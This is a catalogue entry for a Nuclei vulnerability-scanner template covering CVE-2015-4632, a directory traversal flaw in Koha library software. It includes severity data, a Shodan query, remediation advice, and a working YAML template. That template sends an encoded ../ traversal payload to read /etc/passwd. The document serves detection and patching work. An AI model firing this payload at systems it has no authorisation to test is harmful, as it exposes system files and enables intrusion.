CVE-2015-4632: Koha 3.20.1 - Directory Traversal
- Template: CVE-2015-4632
- Name: Koha 3.20.1 - Directory Traversal
- Description: Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search.
- Impact: An attacker can read or modify sensitive files, potentially leading to unauthorized access, data leakage, or system compromise.
- Remediation: Upgrade to a patched version of Koha or apply the necessary security patches to fix the directory traversal vulnerability.
- Severity: high
- Authors: daffainfo
- Tags: cve2015, cve, lfi, edb, koha, vuln
- References: https://www.exploit-db.com/exploits/37388, https://nvd.nist.gov/vuln/detail/CVE-2015-4632, https://www.sba-research.org/2015/06/24/researchers-of-sba-research-found-several-critical-security-vulnerabilities-in-the-koha-library-software-via-combinatorial-testing/, https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408, https://koha-community.org/koha-3-14-16-released/
- Cves: CVE-2015-4632
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2015/CVE-2015-4632.yaml
- Digest: 4b0a00483046022100b971eb30f24a5eede9765c5590f79bdaa7ae57a2ca01bd22b9e3eb651a634800022100b72fb7710d7efc29a5b729a6c60301bd65467e6a03393059d0fac66b61cb1a59
- Created at: 2021-09-29T22:51:45Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 1882
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2015/CVE-2015-4632.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-22
- Cvss score: 7.5
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.51829
- Epss percentile: 0.98978
- Cpe: cpe:2.3:a:koha:koha:*:*:*:*:*:*:*:*
Metadata
- Max-request: 1
- Product: koha
- Shodan-query: cpe:"cpe:2.3:a:koha:koha"
- Vendor: koha
Products
| Product | Indexed | Url |
|---|---|---|
| koha:koha | yes | /v1/products/koha/koha |
Labels
- Name: Koha - Path Traversal
- Impact: Remote attackers can read arbitrary files on the server, potentially exposing sensitive information.
- Remediation: Update to Koha 3.14.16, 3.16.12, 3.18.08, or 3.20.1 or later versions.
- Vulnerability type: path_traversal
- Vulnerability impact: file_system_read, information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2015-4632
- Not known: requirements
```yaml
id: CVE-2015-4632
info:
name: Koha 3.20.1 - Directory Traversal
author: daffainfo
severity: high
description: Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search.
impact: |
An attacker can read or modify sensitive files, potentially leading to unauthorized access, data leakage, or system compromise.
remediation: |
Upgrade to a patched version of Koha or apply the necessary security patches to fix the directory traversal vulnerability.
reference:
- https://www.exploit-db.com/exploits/37388
- https://nvd.nist.gov/vuln/detail/CVE-2015-4632
- https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408
- https://koha-community.org/koha-3-14-16-released/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2015-4632
cwe-id: CWE-22
epss-score: 0.51829
epss-percentile: 0.98978
cpe: cpe:2.3:a:koha:koha:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: koha
product: koha
shodan-query: cpe:"cpe:2.3:a:koha:koha"
tags: cve2015,cve,lfi,edb,koha,vuln
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
digest: 4b0a00483046022100b971eb30f24a5eede9765c5590f79bdaa7ae57a2ca01bd22b9e3eb651a634800022100b72fb7710d7efc29a5b729a6c60301bd65467e6a03393059d0fac66b61cb1a59:922c64590222798bb761d5b6d8e72950
```